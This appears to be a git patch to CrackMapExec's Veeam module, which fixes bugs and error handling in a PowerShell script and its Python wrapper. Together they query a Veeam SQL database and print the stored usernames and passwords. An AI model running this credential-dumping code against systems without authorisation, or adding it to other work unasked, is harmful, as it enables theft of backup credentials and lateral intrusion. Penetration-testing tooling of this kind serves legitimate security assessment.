From dfb0eee3179d8056f9bd9c3933f77de374dd51f4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 11 Jan 2023 20:35:45 +0100 Subject: [PATCH] Fix bugs and error handling --- cme/data/veeam_dump_module/veeam-creds_dump.ps1 | 6 +++--- cme/modules/veeam_dump.py | 10 ++++++++-- 2 files changed, 11 insertions(+), 5 deletions(-) diff --git a/cme/data/veeam_dump_module/veeam-creds_dump.ps1 b/cme/data/veeam_dump_module/veeam-creds_dump.ps1 index 1eafdf75..6b766edb 100644 --- a/cme/data/veeam_dump_module/veeam-creds_dump.ps1 +++ b/cme/data/veeam_dump_module/veeam-creds_dump.ps1 @@ -1,6 +1,6 @@ $SqlDatabaseName = "REPLACE_ME_SqlDatabase" -$SqlInstanceName = "REPLACE_ME_SqlInstance" $SqlServerName = "REPLACE_ME_SqlServer" +$SqlInstanceName = "REPLACE_ME_SqlInstance" #Forming the connection string $SQL = "SELECT [user_name] AS 'User name',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords @@ -18,13 +18,13 @@ try { $connection.Close() } catch { - Write-Host "Can't connect to DB, exit." + Write-Host "Can't connect to DB! Exiting..." exit -1 } $rows=($dataset.Tables | Select-Object -Expand Rows) if ($rows.count -eq 0) { - Write-Host"No passwords found!" + Write-Host "No passwords found!" exit } diff --git a/cme/modules/veeam_dump.py b/cme/modules/veeam_dump.py index dacd46c8..57f4f37e 100644 --- a/cme/modules/veeam_dump.py +++ b/cme/modules/veeam_dump.py @@ -76,7 +76,13 @@ class CMEModule: output = self.stripXmlOutput(context, output) # Stripping whitespaces and newlines - output_stripped = [" ".join(line.strip().split()) for line in output.split("\r\n") if line.strip()] + output_stripped = [" ".join(line.split()) for line in output.split("\r\n") if line.strip()] + + # Error handling + if "Can't connect to DB! Exiting..." in output_stripped or "No passwords found!" in output_stripped: + context.log.error(output_stripped[0]) + return + for account in output_stripped: user, password = account.split(" ", 1) context.log.highlight(user + ":" + password) @@ -86,5 +92,5 @@ class CMEModule: SqlDatabase, SqlInstance, SqlServer = self.checkVeeamInstalled(context, connection) if SqlDatabase and SqlInstance and SqlServer: - context.log.success("Found Veeam DB \"{}\" on SQL Server \"{}\\{}\"! Extracting stored credentials...".format(SqlDatabase, SqlInstance, SqlServer)) + context.log.success("Found Veeam DB \"{}\" on SQL Server \"{}\\{}\"! Extracting stored credentials...".format(SqlDatabase, SqlServer, SqlInstance)) self.extractCreds(context, connection, SqlDatabase, SqlInstance, SqlServer) \ No newline at end of file